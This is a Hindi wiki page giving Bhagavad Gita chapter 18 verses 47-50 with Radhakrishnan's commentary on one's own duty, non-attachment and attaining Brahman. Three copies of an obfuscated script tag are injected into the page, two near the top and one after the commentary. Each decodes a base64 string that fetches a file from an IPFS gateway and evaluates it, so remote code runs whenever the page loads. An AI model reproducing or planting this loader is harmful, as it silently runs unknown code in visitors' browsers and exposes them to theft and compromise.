भगवद्गीता -राधाकृष्णन पृ. 247

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०६:५९, २७ सितम्बर २०१५ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अध्याय-18
निष्कर्ष संन्यास कर्म का ही नहीं, अपितु कर्म के फल का किया जाना चाहिए

   
47.श्रेयान्स्वधर्मों विगुणः परधर्मात्स्वनुष्ठितात्।
स्वभावनियतं कर्म कुर्वन्नाप्नोति किल्बिषम्।।
अपना धर्म (नियम) यदि अपूर्ण ढंग से भी पालन किया जा रहा हो, तो भी वह दूसरे के धर्म से, जिसका कि पालन पूर्णता के साथ किया जा सकता है, अधिक अच्छा है। अपने स्वभाव के द्वारा नियत किए गए कत्र्तव्य का पालन करने वाले व्यक्ति को पाप नहीं लगता।देखिए 3, 35। अपने मन को उन कामों में लगाने का, जो कि हमारे स्वभाव से मेल नहीं खते, कोई लाभ नहीं। हममें से प्रत्येक के अन्दर अस्तित्वमान् (नाम-रूपमय) होने का एक मूल तत्व विद्यमान है, दिव्य आत्म-अभिव्यक्ति का एक विचार। वही हमारा वास्तविक स्वभाव है, जो हमाकरिी विभिन्न गतिविधियों में अंशतः अभिव्यक्त होता है। अपने विचारों, महत्वाकांक्षाओं और प्रयत्नों में उसके द्वारा दिखाए गए पथ पर चलकर हम परमात्मा द्वारा हमारे लिए नियम लक्ष्य को अधिकाधिक रूप में प्राप्त करते जाते हैं। जिसे हम प्रजातन्त्र कहते हैं, वह जीवन की एक ऐसी पद्धति है, जिसमें मानव-प्राणी के एक व्यष्टि बनने के, एक अपूर्व इकाई बनने के अधिकारों का सम्मान करने की आवश्यकता होती है। हमें किसी भी मनुष्य से कभी भी घृणा न करनी चाहिए, क्यों कि वह कुछ ऐसा काम कर सकता है, जिसे अन्य लोग नहीं कर सकते।
 
48.सहजं कर्म कौन्तेय सदोषमपि न त्यजेत्।
सर्वारम्भा हि दोषेण धूमेनाग्निरिवावृताः।।
हे कुन्ती के पुत्र (अर्जुन), मनुष्य को अपने स्वभाव के उपयुक्त कार्य को छोड़ना नहीं चाहिए, चाहे उसमें दोष क्यों न हों; क्योंकि जैसे आग धुएं से ढकी रहती है, उसी प्रकार सब कार्य दोषों से आच्छन्न हैं।
 
कर्मयोग और परम सिद्धि (पूर्णता)
49.असक्तबुद्धिः सर्वत्र जितात्मा विगतस्पृहः।
नैष्कम्र्यसिद्धिं परमां संन्यासेनाधिगच्छति।।
जिसकी बुद्धि सब जगह अनासक्त रहती है, जिसने अपने आत्म को वश में कर लिया है और जिसे कोई इच्छा शेष नहीं रही है- वह संन्यास द्वारा उस सर्वोच्च दशा तक पहुंच जाता है, जो सब प्रकार के कर्म से ऊपर है।गीता ने इस बात को दुहराया है कि आध्यात्मिक पूर्णता के लिए संयम और इच्छारहित होना आवश्यक है। विषयों के प्रति आसक्ति, एक अहंकार की भावना, निम्नतर स्वभाव की विशेषता है। यदि हमें आने आत्मवर्शी और स्वतः प्रकाशित सच्चे आत्म का ज्ञान प्राप्त करना हो, तो हमें अज्ञान और जड़ता से युक्त तथा सांसरिक सम्पत्ति से प्रेम रखने वाले अपने निम्नतर स्वभाव पर विजय पानी होगी।नैष्कम्र्य: सब कर्मो से ऊपर उठ जाने की स्थिति। यह सब प्रकार के कर्मों से पूर्ण प्रत्यावर्तन नहीं हैं। इस प्रकार की निष्क्रियता तब तक सम्भवन नहीं है, जब तक हम शरीर धारण किए हुए हैं। गीता का आग्रह आन्तरिक संन्यास पर है। क्योंकि अहंकार और प्रकृति एकजातीय हैं, इसलिए मुक्त आत्मा ब्रह्म या विशुद्ध आत्मा बनकर, जिसे कि निस्तब्ध, शान्त और निष्क्रिय बताया गया है, प्रकृति के जगत् में यह जानते हुए कार्य करती है कि ब्रह्म क्या है।यहां सर्वाच्च दशा का वर्णन ब्रह्म में प्रवेश करने के रूप में सकरात्मक रूप में नहीं, अपितु काम (इच्छा) से मुक्त होने के नकारात्मक रूप में किया गया है।

सिद्धि और ब्रह्म
50.सिद्धिं प्राप्तो यथा ब्रह्म तथाप्नोति निबोध में।
समासेनैव कौन्तेय निष्ठा ज्ञानस्य या परा।।
हे कुन्ती के पुत्र (अर्जुन), अब तू संक्षेप में मुझसे यह सुन कि सिद्धि को प्राप्त करन लेने के बाद व्यक्ति ब्रह्म को कैसे प्राप्त करता है, जो कि ज्ञान की सर्वोच्च निष्पत्ति है।शंकराचार्य ने लिखा है: ’’ इस प्रकार बिलकुल स्वतः स्पष्ट, सरलता से ज्ञेय, बिलकुल निकटस्थ और मनुष्य की आत्मा बना हुआ ब्रह्म भी अज्ञानी मनुष्यों को, जिनकी बुद्धि अज्ञान द्वारा उत्पन्न नाम-रूपों के पृथकविध तत्वों में बहकी हुई है, अज्ञात, कठिनाई से जानने योग्य, बहुत दूरस्थ और ऐसा प्रतीत होता है, मानो वह कोई पृथक् वस्तु हो।’’[१] जिस प्रकार अपने शरीर को जानने के लिए किसी प्रमाण की आवश्यकता नहीं होती, उसी प्रकार आत्मा को जानने के लिए भी किसी प्रमाण की आवश्यकता नहीं है, क्योंकि वह तो शरीर से भी निकटतर है। तब हम बाह्य वस्तुओं से विमुख हो जाते हैं और अपनी बुद्धि को प्रशिक्षित करते हैं, तो वह तुरन्त पहचानी जाती है। देखिए 9, 2।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. अविद्याकल्पितनामरूपविशेषाकारापहृत्बुद्धीमान्, अत्यन्तप्रसिद्धं, सुविज्ञेयम्, आसन्नान्तरम्, आत्मभूतम्, अप्यप्रसिद्धं, दुर्विज्ञेयम्, अतिदुरूहम्, अन्यदिव च प्रतिभात्यविवेकिनाम्।

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन